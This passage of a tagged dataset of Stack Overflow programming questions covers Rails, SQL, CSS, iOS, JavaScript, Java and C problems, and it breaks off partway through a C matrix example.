one to many association object will not save  i set up a has_many belongs_to relationship in my two models and followed ryan bates  screencast on how to set up the controller. when i submit my form to create the new object  the nested object does not save for some reason. here are my models:   <pre><code>class auction &lt; activerecord::base   has_many :bids  dependent: :destroy end  class bid &lt; activerecord::base   belongs_to :auction   belongs_to :user   default_scope -&gt; { order(created_at: :desc) }   validates :user_id  presence: true   validates :auction_id  presence: true end  </code></pre>   and my nested object controller:   <pre><code>  class bidscontroller &lt; applicationcontroller   def index     @auction = auction.find(params[:auction_id])     @bids = @auction.bids   end    def new     @auction = auction.find(params[:auction_id])     @bid = @auction.bids.build   end    def create      @auction = auction.find(params[:auction_id])     @bid = @auction.bids.create(params[:bid])     @bid.save     if @bid.save       flash[:success] =  bid has been successfully placed.      else       @bid.errors       render  new      end   end    def destroy      @auction = auction.find(params[:auction_id])      @bid = @auction.bids.find     @bid.destroy     flash[:notice] =  successfully destroyed bid.      redirect_to auction_url(@bid.article_id)   end end </code></pre>   my form:   <pre><code>&lt;h1&gt;create a new bid&lt;/h1&gt; &lt;%= form_for ([@auction  @bid]) do |f|%&gt; &lt;p&gt; &lt;%= f.submit %&gt; &lt;/p&gt; &lt;%end%&gt; </code></pre>   and my terminal output:   <pre><code>started post  /auctions/1/bids  for 127.0.0.1 at 2014-11-30 17:59:13 -0600 processing by bidscontroller#create as html   parameters: { utf8 =&gt; ✓      authenticity_token =&gt; dkzbcab1rgzjtjgf3laj//exk6liglz0fy4mg7hwet0=    commit =&gt; create bid    auction_id =&gt; 1 }   auction load (0.1ms)  select   auctions .* from  auctions   where  auctions . id  =   limit 1  [[ id   1]]   (0.0ms)  begin transaction   (0.0ms)  commit transaction   (0.0ms)  begin transaction   (0.0ms)  rollback transaction   (0.0ms)  begin transaction   (0.0ms)  rollback transaction </code></pre>   thanks for your help.,ruby-on-rails
find by include nil object error in rails  i ve been trying hard to solve this problem but i really don t know what is happening. i have this small piece of code :   <pre><code>discoveredlocation.find_by_user_id(user.id  :include =&gt; [:boss_kills]) </code></pre>   the models are :   <pre><code>discoveredlocation(id  user_id  boss_location_id) bosskill(user_id  monster_id) </code></pre>   and associations :   <pre><code>monster belongs_to :boss_location monster has_many :boss_kills  bosskill belongs_to :user bosskill belongs_to :monster   discoveredlocation belongs_to :user discoveredlocation  belongs_to :boss_location  discoveredlocation  has_many :monsters  :through =&gt; :boss_location  discoveredlocation  has_many :boss_kills  :through =&gt; :monsters </code></pre>   when i executed the find_by i get this error :   <pre><code>nomethoderror in bossescontroller#index  you have a nil object when you didn t expect it! you might have expected an instance of array. the error occurred while evaluating nil.each </code></pre>   if i change the include option to any other model  like :monster  it works great. i m pretty much owned by this problem :p. maybe somebody can help me   :),ruby-on-rails
return array of values with mysql select <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2524848/can-mysql-nested-select-return-list-of-results >can mysql nested select return list of results</a>    </blockquote>     i have one table containing the <code>users</code> (id  name) and another one containing <code>courseattrs</code> a user has applied to (userid courseid). i would like to select all users and have this select return the name and a comma separated list of courseids the user has applied to. what is a possible solution,mysql
android app how to force clean install instead of upgrade  after an upgrade on my app  i m having problems with freezing. if i do clean install (uninstall and then install)  the problem doesn t happen.    does anyone have any idea what could be causing this  or  how to force a clean install on upgrade rather than upgrade     or any other ideas/solutions...    thanks!,android
log configuration with rails  i have an api path <code>api/v1</code>. when <code>api/v1</code> is called  i would like the log to be written to the <code>api.log</code> file (e.g.  <code>log/api.log</code>). by default  it will be written to <code>development.log</code>.   <pre><code>namespace :v1 do   post  tests/test   to:  tests#tests  end </code></pre>   i want to call <code>v1/test/test</code> and have it logged to file <code>log/api.log</code>.    please help me.,ruby-on-rails
why does html insert automatic line breaks before and after a line   i have the following html code. when i see the output i see that a line break has been inserted before and after the text.    but no line break is inserted when the doctype is changed to    <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en &gt; </code></pre>   i do not want the line breaks. what can i do without changing the doctype.   <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en   http://www.w3.org/tr/html4/loose.dtd &gt; &lt;html&gt; &lt;head&gt; &lt;/head&gt; &lt;body marginwidth= 0  marginheight= 0  topmargin= 0  bottommargin= 0  leftmargin= 0  rightmargin= 0 &gt; &lt;table border= 1  width= 100%  cellspacing= 0  cellpadding= 0 &gt;   &lt;tr&gt;     &lt;td width= 220 &gt;     &lt;/td&gt;     &lt;td valign= bottom  align= left &gt;       &lt;p&gt;test message&lt;/p&gt;     &lt;/td&gt;   &lt;/tr&gt; &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
how can i delete rows with a few identical values in mysql   i have a table with about 11 fields (columns)  and i know for a fact that there are multiple repeating entries  but they are repeating only within few fields. what i want to do is that if two or more rows have identical <code>providername</code> and <code>address</code> in lowercase  and identical <code>stateid</code>  then i want to delete those extra rows  and leave just one copy of it. i have something like this  but i have no idea how to complete it.   <pre><code>set sql_safe_updates=0; delete from providers where lcase(providername)  lcase(address)  stateid; </code></pre>   <strong>update:</strong>   <pre><code>set sql_safe_updates=0; delete p1.*  from providers as p1 join providers as p2  on lcase(p1.providername) = lcase(p2.providername) and lcase(p1.address) = lcase(p2.address) and p1.zip = p2.zip and p1.stateid = p2.stateid and p1.providerid &gt; p2.providerid </code></pre>,mysql
"enlarging border is changing the size of child element  i am trying to create an animation on hover of profile pics.    basically a parent div has rounded corners so that the image look like a circle. when hovering it a border is increased from 0px to 7px.the problem is that the image located inside the child div is shrinking because i have set it s width to 100%.     i can t set a fixed width for the image because the image has to fill the div wether it is big or small.    is there a way to fix this       <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.element {
   position: absolute;
   border-radius: 50%;
   overflow: hidden;
   border: 0px solid rgba(255  255  255  0.4);
 }
 
 .element:hover {
   transition: all 0.4s;
   box-shadow: 12px 12px 25px 0px rgba(0  0  0  0.20);
   border: 7px solid rgba(255  255  255  0.4);
 }
 
 .element img {
   width: 100%;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= element &gt;
   &lt;a href= action &gt;&lt;img src= //myapp.s3-eu-west-1.amazonaws.com/image  alt= alt  /&gt;&lt;/a&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
items with different background color repeatedly  is it possible on css that each item can have different colors repeatedly  for example  it have 20 items and each have 5 different bgcolors.    html like   <pre><code>&lt;div class= item &gt; ... item 1 .. &lt;/div&gt;  &lt;div class= item &gt; ... item 2 .. &lt;/div&gt;  &lt;div class= item &gt; ... item 3 .. &lt;/div&gt;  ... &lt;div class= item &gt; ... item 20 .. &lt;/div&gt; </code></pre>   as i known in css it like   <pre><code>.item:nth-child(1){   background-color: red; } .item:nth-child(2){   background-color: blue; } .item:nth-child(3){   background-color: yellow; } ... .item:nth-child(5){   background-color: green; } </code></pre>   as i have known  to make it work  i will code each <code>.item:nth-child(n)</code> and assigning different colors - that is static.    can it be done by dynamic  where i cannot longer code 20 of <code>.item:nth-child(n)</code> just assigning color  instead  css will assign each 5 items with different color  like color 1 is red  2 is blue  3 is yellow  4 is violet  and 5 is green - then it repeats  item 6 is red again and so on.. until goes 20 will be green. the most conflict is  we can t add another class to the <code>div</code> it just the <code>item</code> class. is this theory possible,css
i am new to c++ why is casting working in first case but not in second cout after masking one of the characters in char*  why is casting working in the first case but not in second cout after masking one of the characters in char*   <pre><code>#include &lt;iostream&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt;  using namespace std;   int main() {    int n = 10;    char* ch = (char*) calloc(6  sizeof(*ch));    ch = strdup( ab );    cout &lt;&lt; strlen(ch) &lt;&lt; endl;    int* p = (int*) ch;    cout &lt;&lt; (char*)p &lt;&lt; endl;// works fine it prints  ab      *p = *p &amp; 65280;    cout &lt;&lt;  cast not working\t  &lt;&lt; (char*)p &lt;&lt; endl; // it does not work  here    free(ch);          return 0;    </code></pre>   },c++
why is the image used for a uinavigationbar customization 44 pixels for retina display and not 88   i m customizing my navigation bar using:   <pre><code>   uiimage *animage = [[uiimage imagenamed:@ theimage ]          resizableimagewithcapinsets:uiedgeinsetsmake(0  0  0  0)];     [[uinavigationbar appearance] setbackgroundimage:animage          forbarmetrics:uibarmetricsdefault]; </code></pre>   (in xcode the image is called  theimage@2x.png ) i m using a tile which 88 pixels high for a retina display. however its coming out twice as tall as i want it. so i looked at this  <a href= http://www.raywenderlich.com/4344/user-interface-customization-in-ios-5  rel= nofollow >http://www.raywenderlich.com/4344/user-interface-customization-in-ios-5</a> and they are using an image 44 high  which has confused me. i was expecting an image 44 should be used for not retina but 88 for retina  but apparently not  why so,ios
read string as java code  i am creating a graphing calculator as our project in calculus. the only thing left in my program is the input from the user.    for example  the user placed an input in the text field named  userinput :   <pre><code>y=sin(x) </code></pre>   next  converting it to string will have   <pre><code>string equation = userinput.gettext(); </code></pre>   and the string variable  equation  will have a value which is:   <pre><code> y=sin(x)  </code></pre>   is there a way to read a string as a java code,java
jquery display block / none  hi as i am new to this jquery could any one help me with this  i would like to show the div and hide the dive after trasnsition here is the script   <pre><code>jquery(function($) {      $( a.panel ).click(function() {         var $target = $($(this).attr( href ))              $other = $target.siblings( .active )              animin = function () {                 $target.addclass( active ).show().css({                     left: -($target.width())                 }).animate({                     left: 0                 }  300);             };          if (!$target.hasclass( active ) &amp;&amp; $other.length &gt; 0) {             $other.each(function(index  self) {                 var $this = $(this);                 $this.removeclass( active ).animate({                      left: -$this.width()                 }  300  animin);             });         } else if (!$target.hasclass( active )) {             animin();         }     });  }); </code></pre>,jquery
oracle select and update periodically records  i have a table that includes multiple records duplicated status values.   <blockquote> <pre><code>device    status     change_date 1     1       21.11.2017 12:01 1     0       21.11.2017 13:05 1     1       21.11.2017 14:06 1     0       21.11.2017 14:26 1     1       21.11.2017 14:36 2     0       21.11.2017 15:28 2     1       21.11.2017 15:39 </code></pre> </blockquote>   device status change priodically.    <ol> <li>first question is  i want to select by device id last status is 1.</li> </ol>   query result will be like this;   <blockquote> <pre><code>device    status     change_date 1        1    21.11.2017 14:36 2        1    21.11.2017 15:39 </code></pre> </blockquote>  <ol> <li>the second query is about update for same result. if data comes like this:</li> </ol>  <blockquote> <pre><code>device    status     change_date 1        1       11.11.2017 12:36 1        1       21.11.2017 14:36 2        1       21.11.2017 15:39 </code></pre> </blockquote>   device 1 is an old date. and i want to update a record is older 2 days.    how can i create these oracle queries  select and update older records.,sql
request.servervariables return null  i create an asp.net web application.    why i got null for this code    <pre><code>httpcontext.current.request.servervariables[ auth_user ] httpcontext.current.request.servervariables[ logon_user ] httpcontext.current.request.servervariables[ remote_user ]; </code></pre>   web.config setting:   <pre><code>&lt;authentication mode= windows  /&gt; </code></pre>,asp.net
javascript to remove trailing &nbsp;  i am getting a string which is nothing but innerhtml  and so it has instances of <code>&amp;nbsp;</code>. i need to trim the string such that the trailing <code>&amp;nbsp;</code> alone are removed. tried this:   <blockquote>    var text; <br>   text = txtinnerhtml.replace(/(<code>&amp;nbsp;</code>)*/g   );  </blockquote>   this removes all instances of <code>&amp;nbsp;</code> which is not desired.. only the <strong>trailing</strong> <code>&amp;nbsp;</code> instances may be which may be zero or more need to be removed.,javascript
how to display the thumbnail image  how to display the thumbnail image  for the video before playing. this is simple question  i am new in this field can any one help me to solve this problem   <pre><code>nsstring *str11 = [nsstring stringwithformat:@ https://www.youtube.com/embed/xgsy3_czz8k autoplay=1 ];    nsurl *url1 = [nsurl urlwithstring:str11];  mpmovieplayercontroller *player = [[mpmovieplayercontroller alloc] initwithcontenturl:url1] ;                 [player play];  avasset *asset = [avasset assetwithurl:url1];  avassetimagegenerator *imagegenerator = [[avassetimagegenerator alloc]initwithasset:asset];  cmtime time = cmtimemake(1  1); cgimageref imageref = [imagegenerator copycgimageattime:time actualtime:null error:null]; uiimage *thumbnail = [uiimage imagewithcgimage:imageref]; nslog(@ thumbmail %@  thumbnail); </code></pre>,ios
how do i get in js time difference between two timezones   i have clients  timezone in database  for example it is <code>asia/nicosia</code>.    i want to show to another site user his offset from that user. lets say he lives in moscow and is having    <pre><code>intl.datetimeformat().resolvedoptions().timezone =  europe/moscow  </code></pre>   how do i get in js time difference between <code>europe/moscow</code> and <code>asia/nicosia</code>,javascript
how to split textfile and randomly print contents [python]  i have a textfile which contains:   <h1><code>text.txt</code></h1>  <pre class= lang-none prettyprint-override ><code>achievement   a thing done successfully with effort  skill  or courage. skill   the ability to do something well; expertise jump   push oneself off a surface and into the air by using the muscles in one s legs and feet. </code></pre>   how can i print the sentences after the comma. which are definitions to the word before the comma. and randomly print them with the random function. but just print one definition. please help. thanks.,python
inflate layout to view  i want to add view to window manager and this view must be my layout. but when i try to inflate layout and then add it i can only see one part of my layout(button) and not the whole layout.can somebody tell me what i do wrong  my layout:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent  android:layout_height= match_parent &gt;      &lt;button         android:layout_width= wrap_content          android:layout_height= wrap_content          android:text= new button          android:id= @+id/button3          android:layout_centervertical= true          android:layout_centerhorizontal= true  /&gt; &lt;/relativelayout&gt; </code></pre>   this is my code:   <pre><code>windowmanager windowmanager = (windowmanager) getsystemservice(window_service);             layoutinflater inflater = (layoutinflater)this.getsystemservice                     (context.layout_inflater_service);             view v = inflater.inflate(r.layout.launcher_activity null); windowmanager.layoutparams params = new windowmanager.layoutparams(                     windowmanager.layoutparams.wrap_content                      windowmanager.layoutparams.wrap_content;                     pixelformat.translucent);              params.gravity = gravity.top | gravity.left;             params.x = 0;             params.y = 100;              windowmanager.addview(v  params); </code></pre>,android
how to use “description” as an attribute name for a core data entity   i have a problem with my core data model. in my entity i have an attribute <code>description</code>. but when i want to set this attribute  i get the following error:    <blockquote>    property name clashes with a method implemented by nsmanagedobject or   nsobject  </blockquote>   please can any help me how to overwrite it i want to user description as attribute name because i m getting it from web service.,ios
how to implement flick gesture in ios   i have a <code>uiimageview</code> and i want to implement a flick feature like this  link <a href= https://developer.apple.com/carplay/human-interface-guidelines/interaction/touchscreen/  rel= nofollow noreferrer >ios gesture</a>. i tried with a <code>uiswipegesturerecoginizer</code> but it does not have the velocity. i also tried with <code>uiscrollview</code> and added the <code>uiimageview</code> to it  but the scroll is slower like pan  not like flick. my code is as below.    <pre><code>uiscrollview *scrollview = [[uiscrollview alloc] initwithframe:cgrectmake(0 0 [[uiscreen mainscreen] bounds].size.width  [[uiscreen mainscreen] bounds].size.height)]; [scrollview addsubview:self.imageview]; [self.view addsubview:scrollview];` </code></pre>,ios
mysql retrieving insert parameters retrieved by select  if i have table structure as so:   <pre><code>create table a (   aid int auto_increment    acol1 int    acol2 int    primary key(aid); )  create table b (   bid int auto_increment    bcol int    primary key(bid); ) </code></pre>   and run the statement:    `insert into a set acol1 = (select max(acol1) + 1 as newmax from a where id =  )    is there anyway for me to retrieve the value of newmax after the query is executed  i am looking for something similar to <code>last_insert_id()</code> in php but for temporary values in the query.    obviously i am trying to not query the database again if possible.    edit:    actual situation:   <pre><code>create table group (   group_id int auto_increment    primary key(group_id) ) engine = myisam;  create table item (   group_refid int  --references group.group_id   group_pos int  --represents this item s position in its group   text varchar(4096)  --data   primary key(group_refid  group_pos) ) engine = myisam; </code></pre>   so the issue is that when i add a new item to a group  i need to make its     <code>group_pos = max(group_pos) where group_refid =  </code>    which would require a query with something like:   <pre><code>insert into item (group_refid  group_pos) set group_refid = 1  group_pos = (select max(group_pos) + 1 from item where group_refid = 1); </code></pre>   as you know  this query does not work. there is added complexity that there may not be an item entry yet for a particular <code>group_id</code>.    i am trying to get this all into one atomic statement to prevent race conditions.,mysql
trying to parse a html page using jsoup parser in android   so far i ve tried this example which i just took from this site but it is not working in my case and i don t know why ! is there anyone who can tell me how can i solve this problem  here is the code: this code shows me nullexceptionpointer    and i tried to print the doc.select() it shows me error :s null excetptionpointer.   <pre><code> url url = null; try {     url = new url( http://www.nseindia.com/content/equities/niftysparks.htm ); } catch (malformedurlexception e) {     // todo auto-generated catch block     e.printstacktrace(); } document doc = null; try {     doc = jsoup.parse(url  3000); } catch (ioexception e) {     // todo auto-generated catch block     e.printstacktrace(); }  element table = doc.select( table[class=niftyd] ).first();  iterator&lt;element&gt; ite = table.select( td[width=65] ).iterator();  ite.next(); // first one is image  skip it  system.out.println( value 1:   + ite.next().text()); system.out.println( value 2:   + ite.next().text()); system.out.println( value 3:   + ite.next().text()); system.out.println( value 4:   + ite.next().text()); </code></pre>   any help i would really appreciate it  i m fighting for the whole day and i cant solve it! :s,android
can t get my head around  injector already created  can not register a module!  error  my application seems to run fine. i started writing test cases and got the dreaded <strong>injector already created  can not register a module!</strong> error.    here s my test code.  these are the only lines in the file.   <pre><code> use strict ;  var fac      osf      obff;  beforeeach(module( myapp ));  beforeeach(inject(function (ordersashingfactory) {     fac = ordersashingfactory; })); </code></pre>   i really don t know where to go from here - i am going in circles.    edit - here s my <code>karma.conf.js</code> file. i have other tests that run fine.   <pre><code>// karma configuration // generated on mon aug 25 2014 21:08:59 gmt-0400 (eastern daylight time)  module.exports = function (config) {     config.set({          // base path  that will be used to resolve files and exclude         basepath:               // frameworks to use         frameworks: [ mocha    chai    sinon ]            // list of files / patterns to load in the browser         files: [              app/bower_components/angular/angular.js                app/bower_components/angular-route/angular-route.js                app/bower_components/angular-mocks/angular-mocks.js                app/js/*.js                app/test/js/*.js                app/partials/**/*.html          ]           preprocessors: {              app/partials/**/*.html  :  html2js          }           nghtml2jspreprocessor: {             // strip app from the file path             stripprefix:  app/          }           // list of files to exclude         exclude: [          ]   //        plugins: [ //             karma-mocha   //             karma-chrome-launcher  //        ]            // test results reporter to use         // possible values:  dots    progress    junit    growl    coverage          reporters: [ progress ]            // web server port         port: 9876            // enable / disable colors in the output (reporters and logs)         colors: true            // level of logging         // possible values: config.log_disable || config.log_error || config.log_warn || config.log_info || config.log_debug         loglevel: config.log_info            // enable / disable watching file and executing tests whenever any file changes         autowatch: true            // start these browsers  currently available:         // - chrome         // - chromecanary         // - firefox         // - opera (has to be installed with `npm install karma-opera-launcher`)         // - safari (only mac; has to be installed with `npm install karma-safari-launcher`)         // - phantomjs         // - ie (only windows; has to be installed with `npm install karma-ie-launcher`)         browsers: [ chrome ]            // if browser does not capture in given timeout [ms]  kill it         capturetimeout: 60000            // continuous integration mode         // if true  it capture browsers  run tests and exit         singlerun: false     }); }; </code></pre>,angularjs
how to write sql query for this condition   i have following table in my database   <pre><code>--------------------- |id    |date      --------------------- |15    |2015-07-01 |15    |2015-07-02 |15    |2015-07-03 |18    |2015-07-04 |18    |2015-07-05 |22    |2015-07-06 |22    |2015-07-07 |22    |2015-07-08 </code></pre>   i am writing this query   <pre><code>select * from table where date =  2015-07-04 ; </code></pre>   by this code i can get current id but how can i select next id to my current id.    i know only date and want to retrieve data. like i have date=2015-07-03 and on that date id=15 so i want result containing all rows related to id=15 and also id next to id=15 that is id=18;,sql
what is the difference between gc.gettotalmemory(false) and gc.gettotalmemory(true)  could some one tell me the difference between gc.gettotalmemory(false) and  gc.gettotalmemory(true);    i have a small program and when i compared the results the first loop  gives an put put  &lt; loop count 0  diff = 32 > for  gc.gettotalmemory(true); and &lt; loop count 0  diff = 0 > for gc.gettotalmemory(false); but shouldnt it be the otherway      smilarly rest of the loops prints some numbers  which are different for both case. what does this number indicate .why is it changing as the loop increase.   <pre><code> using system; using system.collections.generic; using system.linq; using system.text; using system.diagnostics;  namespace test {       struct address    {        public string street;    }    class details    {       public string name ;       public address address = new address();     }    class emp :idisposable    {        public details objb = new details();               bool disposed = false;        #region idisposable members        public void dispose()        {            disposing(true);        }        void disposing(bool disposing)        {            if (!disposed)                disposed = disposing;            objb = null;                       gc.suppressfinalize(this);        }         #endregion    }       class program     {                static void main(string[] args)         {                    long size1 = gc.gettotalmemory(false);            emp empobj = null;                      for (int i = 0; i &lt; 200;i++ )            {               // using (empobj = new emp()) //------- (1)                {                    empobj = new emp(); //------- (2)                    empobj.objb.name =  ssssssssssssssssss ;                    empobj.objb.address.street =  asdfasdfasdfasdf ;                }                long size2 = gc.gettotalmemory(false);                            console.writeline(  loop count   +i +    diff =   +(size2-size1));             }         }      } } </code></pre>,.net
basename() returning int   probably something stupid i m missing but  why am i getting this warning    <pre><code>static void foo(char *path) {     char *bname;     char *path2 = strdup(path);     bname = basename(path2); </code></pre>   (line with basename() call): warning: assignment makes pointer from integer without a cast    indeed  if i change to this  the warning goes away:   <pre><code>    bname = (char *)basename(path2); </code></pre>   man 3 basename tells me:   <pre><code>char *basename(char *path);  both dirname() and basename() return pointers to null-terminated strings. </code></pre>   what gives,c
strange effect/flicker in jquery stop() in rollover menu  i ve made this site with a jquery rollover menu:    <a href= http://www.ffsolar.com/index.php lang=en&amp;page=home  rel= nofollow >http://www.ffsolar.com/index.php lang=en&amp;page=home</a>    it happens that it is not working well. please try to move your mouse rapidly from the white space over the button  services  down to the middle of the image. a strage effect happens  the menu starts to  flicker  and won t stop until you move your mouse out.    well this is my jquery code:   <pre><code>$( #main_navi li ).hover(         function () {             //show its submenu             $( ul   this).stop(true true).slidedown(200);        }           function () {             //hide its submenu             $( ul   this).stop(true true).slideup(200);         }     ); </code></pre>   can someone explain me why this happens and what i can do about it  i ve tried all combinations of true and false in stop()  but it didn t work out.,jquery
passing a value from page_load to form with post  i m really new to asp and have a project where i need to capture the login of the person logged into sharepoint.  i have created the following code and am able to get the login.  i am having trouble pass the parameter to a form.  what is the best way to do this:  i know the 2nd part the post is wrong   i don t know what to do here.  thanks for your help.  scott   <pre><code>&lt;script language= c#  runat= server &gt;void page_load(object sender  eventargs e)    {     string username =  na ;  username = httpcontext.current.user.identity.name;     string userwithoutdomain = username.substring(username.indexof( \\ ) + 1);      myuserid.text = userwithoutdomain;     } &lt;/script&gt;   &lt;html&gt; &lt;body&gt;   &lt;form method= post  action= http://srs.xxx.edu:9001/signon/authenticate.asp  id= myuserid  name= myuserid &gt;      &lt;input type= hidden  name= cookiepath  value= /srs/ &gt;       &lt;input style= width:70px;font-size:8pt;  size= 8  name= myuserid  &gt;     &lt;input style= width:70px;font-size:8pt;  size= 8  name= myuserid  &gt;      &lt;input class= button  type= submit  value=  log on   style= display:none; &gt;   &lt;/form&gt;    &lt;form id= form1  runat= server &gt;      &lt;asp:label id= myuserid  runat= server  /&gt;   &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,asp.net
"javascript set timeout is not working  i expected the below code snippet to print out the console log after pausing for every 1 sec.    but the code snippet executes instantaneously (<em>prints out 100 times though</em>) with the following output.    can someone tell me what i am doing wrong      <a href= https://i.stack.imgur.com/nrmmn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/nrmmn.png  alt= enter image description here ></a>    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>let i = 0;
 for (; i &lt; 100; i++) {
   settimeout(console.log( test )  1000);
 }
 console.log( loop done );
 console.log( value of i ==&gt;  + i);</code></pre>
 </div>
 </div>",javascript
how to make ie query the system and respond accordingly   my user go to my company s website and logs in to view information. i want my users not being able to login unless they have a particular antivirus installed. so  if they have (for example) trend micro installed they should be able to login and if not they should not be able to.    help is highly appreciated. a.d,c#
how do i prevent out of memory errors with large stream data   i am dealing with input streams of unknown size that i need to serialize to a byte[] for fail-safe behavior.    i have this code right now based on ioutils  but with 5-50 diffrent threads possibly running this  i don t know how reliable it is.   <pre><code>try(final bytearrayoutputstream output= new bytearrayoutputstream()){ long free_memory = runtime.getruntime().freememory() / 5; final byte[] buffer = new byte[default_buffer_size]; long count = 0; int n = 0; while (-1 != (n = input.read(buffer))) {     output.write(buffer  0  n);     count += n;     free_memory -= n;     if (free_memory &lt; default_buffer_size) {         free_memory = runtime.getruntime().freememory();         if (free_memory &lt; (default_buffer_size * 10)) {             throw new ioexception( jvm is low on memory. );         }     free_memory = free_memory / 5;     } } output.flush(); return output.tobytearray(); } </code></pre>   i want to catch an oom error before it is a problem and kills the thread  and i don t want to save the stream as a file. is there a better way of making sure you don t use too much memory     (i m using java 8),java
how do i call a -(void) method from a -(ibaction) method   i have a void method that is responsible for a url and i want to call it using a ibaction (uibutton) to update/ change the url and thus the content of my view.   <pre><code>- (void) retrievedata {    _nsmutabledictionary = contains parts of the url     nsstring * thisurlgetsputtogetherfromkeysinthemutabledict = @ www.myurl.url ; }   -(ibaction)btnchangeurl:(uibutton *)sender {    add something to the _nsmutabledictionary    call  retrievedata  to update and re-load the url. }  </code></pre>   i ve tried googling for answers before but i just can t seem to find clear instructions on how i should call retrievedata. still a beginner. can somebody help me out,objective-c
error in a  for  loop  i think memory problems  i m trying to create an algorithm that loops through the loop  for  ten times  the ultimate goal is to print out a 50x50 matrix with the sum of the values ​​greater than or equal to 49  0  and 1 represented as  *   but for some strange reason the loop only does 3 iterations instead of 10. ..   <pre><code>#include &lt;stdio.h&gt; void printsimulaciodeu(int matlefa[50][50]) { int ii  jj; for (ii = 0; ii &lt; 50; ii++) {     for (jj = 0; jj &lt; 50; jj++) {         if(matlefa[ii][jj] == 0) {             printf(  0  );         }         else if (matlefa[ii][jj] &gt;= 49) {             printf(  %d    matlefa[ii][jj]-48);         }         else {             printf(  *  );             }     }     printf( \n );     } } int main(){     int tabla[50][50]={      {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0}       {0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}      {0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}        {0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}      {0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0}       {0 0 0 0 0 0 0 0 1 0 0 0 0 